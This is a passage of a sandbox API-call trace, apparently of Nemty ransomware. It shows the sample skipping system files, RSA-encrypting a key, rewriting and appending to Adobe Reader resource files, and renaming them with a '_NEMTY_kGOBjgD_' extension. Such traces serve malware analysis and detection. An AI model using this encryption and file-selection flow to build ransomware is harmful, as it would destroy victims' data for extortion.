(lpString1="frn21.hsp", lpString2="$RECYCLE.BIN") returned 1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="rsa") returned -1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="NTDETECT.COM") returned -1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="ntldr") returned -1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="MSDOS.SYS") returned -1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="IO.SYS") returned -1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="boot.ini") returned 1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="boot.ini") returned 1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="AUTOEXEC.BAT") returned 1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="ntuser.dat") returned -1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="desktop.ini") returned 1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="CONFIG.SYS") returned 1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="RECYCLER") returned -1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="BOOTSECT.BAK") returned 1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="bootmgr") returned 1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="programdata") returned -1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="appdata") returned 1 [0217.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn21.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn21.hsp", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn21.hsp", lpUsedDefaultChar=0x0) returned 9 [0217.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn21.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn21.hsp", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn21.hsp", lpUsedDefaultChar=0x0) returned 9 [0217.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn21.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn21.hsp", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn21.hsp", lpUsedDefaultChar=0x0) returned 9 [0217.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn21.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn21.hsp", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn21.hsp", lpUsedDefaultChar=0x0) returned 9 [0217.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.600] Sleep (dwMilliseconds=0x5) [0217.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3556af30, dwHighDateTime=0x1d561e8)) [0217.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3556af30, dwHighDateTime=0x1d561e8)) [0217.602] GetLastError () returned 0x0 [0217.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.602] GetLastError () returned 0x0 [0217.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.602] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.603] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.603] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0217.603] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="GPqNZkTELkfEz8ZidS3TEsjb+id4crqRBp09ME02i0pnBkbj6XdgKu7VhiE3h3WU\r\nzb+jyGeRX0CM8q16rCg7N4s/lmScXWXe8nXHuthpuR8MWnwtrVlpO+9uvKzZo51R\r\nI63bCtCwX5lTlr0gs/OCV+P9yDP/StHNCoq2Dl8lcP7l8Lg4H8L84/hokV5w47KK\r\nXM8fYYwZ44AXpfzkwXIYlQ4IjhmrS2j0Jxk87ZB+pI1SxZeCo/xiV7ERSfI1xGDa\r\n1PsoV0C2xXQpPsiTqo8sPhrmKhUsZ71xzAUQvLz2Vrg6S0PYi/z9lrOnZig9q2C5\r\nPI4/RKrjm3d+DQVq5hAWWA==\r\n", pcchString=0x653df5c) returned 1 [0217.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0217.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.603] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn21.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn21.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.603] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=279168) returned 1 [0217.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0217.603] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.604] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0217.612] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.612] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0217.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.613] SetFilePointer (in: hFile=0x320, lDistanceToMove=279168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x44280 [0217.613] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.615] CloseHandle (hObject=0x320) returned 1 [0217.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.615] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn21.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn21.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn21.hsp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn21.hsp._nemty_kgobjgd_")) returned 1 [0217.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.616] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff6, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="frn32.clx", cAlternateFileName="")) returned 1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2=".") returned 1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="..") returned 1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="...") returned 1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="windows") returned -1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="$RECYCLE.BIN") returned 1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="rsa") returned -1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="NTDETECT.COM") returned -1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="ntldr") returned -1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="MSDOS.SYS") returned -1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="IO.SYS") returned -1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="boot.ini") returned 1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="boot.ini") returned 1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="AUTOEXEC.BAT") returned 1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="ntuser.dat") returned -1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="desktop.ini") returned 1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="CONFIG.SYS") returned 1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="RECYCLER") returned -1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="BOOTSECT.BAK") returned 1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="bootmgr") returned 1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="programdata") returned -1 [0217.616] lstrcmpiW (lpString1="frn32.clx", lpString2="appdata") returned 1 [0217.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn32.clx", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn32.clx", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.617] Sleep (dwMilliseconds=0x5) [0217.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35591090, dwHighDateTime=0x1d561e8)) [0217.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35591090, dwHighDateTime=0x1d561e8)) [0217.618] GetLastError () returned 0x0 [0217.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.618] GetLastError () returned 0x0 [0217.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.618] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.618] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.618] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0217.618] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="8lp5pFJ2r75ED6C8El2o8j24M43lZpAoy0zQXde3rWwiTri/oxPU9LqxISYN3Ygu\r\nb4qv/83kM5u+WzARzQRtakMObUGu6c/UnUFXvJ35nfAwtg2R7xfJu2eF/QIEtplO\r\njGp7eYPUtytTtUN/cc3hs4QKq7BOW2ZMPxVibcHcFU4gejYEHEAuHwi1UYKj4sSg\r\nwoTM15WxZwtMYQn9pVKl+5jzo8O6Whq9HR2YwHYcsZMvgdy4Ix4gNqzjqd2oqH7D\r\nddskncA84K3+Hn8O5ReJPF+e6hDosYtTOtBraDZA6yyOwe6CZQdlf7O8CaMl0sDO\r\nsppyVGpUfe3XOlVJvX3lBA==\r\n", pcchString=0x653df5c) returned 1 [0217.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0217.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.619] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.619] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=32758) returned 1 [0217.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7ff0) returned 0x6354c48 [0217.619] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.619] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x7ff0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x7ff0, lpOverlapped=0x0) returned 1 [0217.623] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.623] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x7ff0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x7ff0, lpOverlapped=0x0) returned 1 [0217.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.623] SetFilePointer (in: hFile=0x320, lDistanceToMove=32758, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ff6 [0217.623] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.623] CloseHandle (hObject=0x320) returned 1 [0217.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.623] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn32.clx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn32.clx._nemty_kgobjgd_")) returned 1 [0217.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 